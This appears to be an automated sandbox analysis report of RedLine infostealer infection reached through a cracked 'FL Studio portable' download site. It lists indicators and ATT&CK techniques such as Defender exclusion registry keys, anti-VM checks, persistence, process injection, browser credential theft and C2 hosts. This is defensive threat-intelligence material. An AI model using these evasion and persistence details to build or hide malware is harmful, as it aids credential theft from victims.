redline | hxxps://www[.]fcportables[.]com/fl-studio-portable/

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	shsojf03cK0ptXvKXlEP55nf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents\GuardFox\shsojf03cK0ptXvKXlEP55nf.exe = "0"	shsojf03cK0ptXvKXlEP55nf.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 3 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5184	netsh.exe
1608	netsh.exe
6388	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	setup.exe

Executes dropped EXE 29 IoCs

pid	Process
5196	setup.exe
5392	setup.exe
4508	06dcw4IMkKEuZe_tAKMfJbXn.exe
1860	shsojf03cK0ptXvKXlEP55nf.exe
3020	UbuJx_FQyjC2W18qjEg5AOA8.exe
5280	gmYFcelYLcZsnUunevOnkYEV.exe
4404	MQTm7pamwl0GhYqtH4tnWUSn.exe
1364	k8WBRS3SiIICY6ZginpKYfr1.exe
1228	C64FIk8Cf8pPafXz1O_sgjOH.exe
1132	yOsEn6X4j9yNwT9k_u4mAaHy.exe
1380	4G825KrphyV_iZQuk8jWFN87.exe
5820	ZC13FlD04DzXdwgsB5Fkh3u2.exe
5996	ET7CWEQK8R0EivVy3K2FXLyl.exe
1120	37q3MltthDRo9V52dYnXDY3W.exe
6088	WUMp7rMGssijGv3EayXGEdTM.exe
2652	4H8OidaW6330ZZHqlfRrxdFC.exe
4304	JnY_uSIsXEd8_hHrbCzU3peH.exe
1684	inB9ZFkaTqQ4D71f7LMbuUN0.exe
4616	gJy314BWGgrsSrZ7K5Uq2Af9.exe
640	gIXQ1OkgTkAsWyZGFref6avU.exe
4408	2CSbVAtiXwMdPbv2mZIJMEE1.exe
3552	m08Jgn4eMEcsHf0FvWrpPLsm.exe
876	ET7CWEQK8R0EivVy3K2FXLyl.tmp
4836	4H8OidaW6330ZZHqlfRrxdFC.tmp
3492	Install.exe
5984	_setup64.tmp
2244	textultraedit.exe
884	textultraedit.exe
5004	Install.exe

Loads dropped DLL 1 IoCs

pid	Process
876	ET7CWEQK8R0EivVy3K2FXLyl.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 29 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x00070000000233f0-387.dat	themida
behavioral1/files/0x00070000000233f0-388.dat	themida
behavioral1/memory/5196-389-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-397-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-398-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-399-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-400-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-401-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-402-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-403-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-404-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-412-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-494-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-608-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-618-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-646-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/files/0x00070000000233f0-650.dat	themida
behavioral1/memory/5392-651-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5392-657-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5392-658-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5392-659-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5392-660-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5392-661-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5392-662-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5392-663-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5392-664-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5392-665-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-677-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida
behavioral1/memory/5196-1085-0x00007FF7D17F0000-0x00007FF7D20DC000-memory.dmp	themida

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00090000000234e5-1965.dat	upx

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	shsojf03cK0ptXvKXlEP55nf.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	shsojf03cK0ptXvKXlEP55nf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents\GuardFox\shsojf03cK0ptXvKXlEP55nf.exe = "0"	shsojf03cK0ptXvKXlEP55nf.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RageMP131 = "C:\\Users\\Admin\\AppData\\Local\\RageMP131\\RageMP131.exe"	RegAsm.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 15 IoCs

Web Service

T1102

flow	ioc
653	bitbucket.org
671	bitbucket.org
708	bitbucket.org
811	iplogger.org
670	bitbucket.org
715	bitbucket.org
723	bitbucket.org
812	iplogger.org
830	pastebin.com
845	bitbucket.org
848	bitbucket.org
687	bitbucket.org
688	bitbucket.org
705	bitbucket.org
825	pastebin.com

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
861	ipinfo.io
865	ipinfo.io
642	api.myip.com
643	api.myip.com
645	ipinfo.io
646	ipinfo.io
822	ipinfo.io
823	ipinfo.io

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	setup.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	setup.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5196	setup.exe
5392	setup.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3020 set thread context of 4480	3020	UbuJx_FQyjC2W18qjEg5AOA8.exe	587
PID 5820 set thread context of 1164	5820	ZC13FlD04DzXdwgsB5Fkh3u2.exe	218
PID 4616 set thread context of 5380	4616	gJy314BWGgrsSrZ7K5Uq2Af9.exe	220
PID 1228 set thread context of 4364	1228	C64FIk8Cf8pPafXz1O_sgjOH.exe	223
PID 1120 set thread context of 5924	1120	37q3MltthDRo9V52dYnXDY3W.exe	225

Launches sc.exe 16 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4392	sc.exe
4500	sc.exe
8920	sc.exe
2236	sc.exe
2104	sc.exe
7560	sc.exe
3952	sc.exe
5528	sc.exe
7116	sc.exe
7556	sc.exe
1492	sc.exe
5908	sc.exe
8492	sc.exe
8912	sc.exe
1728	sc.exe
7652	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 34 IoCs

pid	pid_target	Process	procid_target
3640	4480	WerFault.exe	217
2076	4480	WerFault.exe	217
4804	5280	WerFault.exe	192
1652	1164	WerFault.exe	218
1028	1364	WerFault.exe	195
2628	4404	WerFault.exe	194
4584	1364	WerFault.exe	195
5592	1364	WerFault.exe	195
1064	5924	WerFault.exe	225
6300	1364	WerFault.exe	195
7116	1364	WerFault.exe	195
7856	1364	WerFault.exe	195
8300	6596	WerFault.exe	372
11052	9632	WerFault.exe	452
7712	6316	WerFault.exe	462
6136	1364	WerFault.exe	195
9356	9160	WerFault.exe	470
8924	10692	WerFault.exe	501
5288	7368	WerFault.exe	531
7580	1364	WerFault.exe	195
5612	1364	WerFault.exe	195
7976	1364	WerFault.exe	195
1704	4324	WerFault.exe	538
10664	8256	WerFault.exe	556
7108	8212	WerFault.exe	605
6452	8256	WerFault.exe	625
8556	7568	WerFault.exe	630
2304	8060	WerFault.exe	641
6628	10304	WerFault.exe	660
3232	6264	WerFault.exe	663
7688	1212	WerFault.exe	666
216	8228	WerFault.exe	669
7844	9472	WerFault.exe	672
636	652	WerFault.exe	675

NSIS installer 1 IoCs

installer

resource	yara_rule
behavioral1/files/0x00090000000234c8-1574.dat	nsis_installer_2

Creates scheduled task(s) 1 TTPs 19 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3476	schtasks.exe
5700	schtasks.exe
4164	schtasks.exe
5064	schtasks.exe
3660	schtasks.exe
4792	schtasks.exe
9148	schtasks.exe
10700	schtasks.exe
4436	schtasks.exe
3556	schtasks.exe
11112	schtasks.exe
7148	schtasks.exe
3996	schtasks.exe
892	schtasks.exe
11008	schtasks.exe
1060	schtasks.exe
2548	schtasks.exe
7104	schtasks.exe
9072	schtasks.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
1636	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 1 IoCs

pid	Process
3060	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3808065738-1666277613-1125846146-1000\{31234E4F-79A4-4009-AF61-384501F92DCD}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	setup.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3756	PING.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4172	msedge.exe
4172	msedge.exe
3620	msedge.exe
3620	msedge.exe
4836	4H8OidaW6330ZZHqlfRrxdFC.tmp
4836	4H8OidaW6330ZZHqlfRrxdFC.tmp
1684	inB9ZFkaTqQ4D71f7LMbuUN0.exe
1684	inB9ZFkaTqQ4D71f7LMbuUN0.exe
640	gIXQ1OkgTkAsWyZGFref6avU.exe
640	gIXQ1OkgTkAsWyZGFref6avU.exe
640	gIXQ1OkgTkAsWyZGFref6avU.exe
640	gIXQ1OkgTkAsWyZGFref6avU.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5832	7zFM.exe

Suspicious behavior: LoadsDriver 10 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
672	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeRestorePrivilege	5832	7zFM.exe
Token: 35	5832	7zFM.exe
Token: SeSecurityPrivilege	5832	7zFM.exe
Token: SeRestorePrivilege	4060	7zG.exe
Token: 35	4060	7zG.exe
Token: SeSecurityPrivilege	4060	7zG.exe
Token: SeSecurityPrivilege	4060	7zG.exe
Token: SeDebugPrivilege	1860	shsojf03cK0ptXvKXlEP55nf.exe
Token: SeDebugPrivilege	5820	ZC13FlD04DzXdwgsB5Fkh3u2.exe
Token: SeDebugPrivilege	1120	37q3MltthDRo9V52dYnXDY3W.exe
Token: SeDebugPrivilege	6088	WUMp7rMGssijGv3EayXGEdTM.exe
Token: SeDebugPrivilege	5380	RegAsm.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
5832	7zFM.exe
5832	7zFM.exe
4060	7zG.exe
4836	4H8OidaW6330ZZHqlfRrxdFC.tmp

Suspicious use of SetWindowsHookEx 26 IoCs

pid	Process
5196	setup.exe
5392	setup.exe
1364	k8WBRS3SiIICY6ZginpKYfr1.exe
5280	gmYFcelYLcZsnUunevOnkYEV.exe
1380	4G825KrphyV_iZQuk8jWFN87.exe
4508	06dcw4IMkKEuZe_tAKMfJbXn.exe
4404	MQTm7pamwl0GhYqtH4tnWUSn.exe
1132	yOsEn6X4j9yNwT9k_u4mAaHy.exe
5996	ET7CWEQK8R0EivVy3K2FXLyl.exe
2652	4H8OidaW6330ZZHqlfRrxdFC.exe
4304	JnY_uSIsXEd8_hHrbCzU3peH.exe
640	gIXQ1OkgTkAsWyZGFref6avU.exe
3552	m08Jgn4eMEcsHf0FvWrpPLsm.exe
4408	2CSbVAtiXwMdPbv2mZIJMEE1.exe
876	ET7CWEQK8R0EivVy3K2FXLyl.tmp
4836	4H8OidaW6330ZZHqlfRrxdFC.tmp
3492	Install.exe
2244	textultraedit.exe
1164	RegAsm.exe
4480	RegAsm.exe
4364	RegAsm.exe
5984	_setup64.tmp
5380	RegAsm.exe
5924	RegAsm.exe
884	textultraedit.exe
5004	Install.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4172 wrote to memory of 5356	4172	msedge.exe	151
PID 4172 wrote to memory of 5356	4172	msedge.exe	151
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4320	4172	msedge.exe	153
PID 4172 wrote to memory of 4016	4172	msedge.exe	154
PID 4172 wrote to memory of 4016	4172	msedge.exe	154
PID 4172 wrote to memory of 4824	4172	msedge.exe	155
PID 4172 wrote to memory of 4824	4172	msedge.exe	155
PID 4172 wrote to memory of 4824	4172	msedge.exe	155
PID 4172 wrote to memory of 4824	4172	msedge.exe	155
PID 4172 wrote to memory of 4824	4172	msedge.exe	155
PID 4172 wrote to memory of 4824	4172	msedge.exe	155
PID 4172 wrote to memory of 4824	4172	msedge.exe	155
PID 4172 wrote to memory of 4824	4172	msedge.exe	155
PID 4172 wrote to memory of 4824	4172	msedge.exe	155

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.fcportables.com/fl-studio-portable/
1⤵
PID:1980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --mojo-platform-channel-handle=3468 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:2672

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --mojo-platform-channel-handle=4952 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:3064

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4904 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:1256

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --mojo-platform-channel-handle=6040 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:1076

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --mojo-platform-channel-handle=5480 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:4080

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=5280 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:1188

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=5980 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:2136

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --no-appcompat-clear --mojo-platform-channel-handle=4700 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:4804

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --mojo-platform-channel-handle=6176 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:1008

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=6320 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:3800

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --mojo-platform-channel-handle=6388 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:3448

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --mojo-platform-channel-handle=6244 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:1188

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --mojo-platform-channel-handle=4000 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:4464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --mojo-platform-channel-handle=6612 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:3956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --mojo-platform-channel-handle=6772 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:1096

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --mojo-platform-channel-handle=7040 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:5172

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --mojo-platform-channel-handle=6248 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:5268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --mojo-platform-channel-handle=6700 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:5168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --no-appcompat-clear --mojo-platform-channel-handle=7388 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:2360

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --mojo-platform-channel-handle=7412 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:1
1⤵
PID:1164

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=7748 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:4576

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=7808 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:4328

C:\Program Files\7-Zip\7zFM.exe
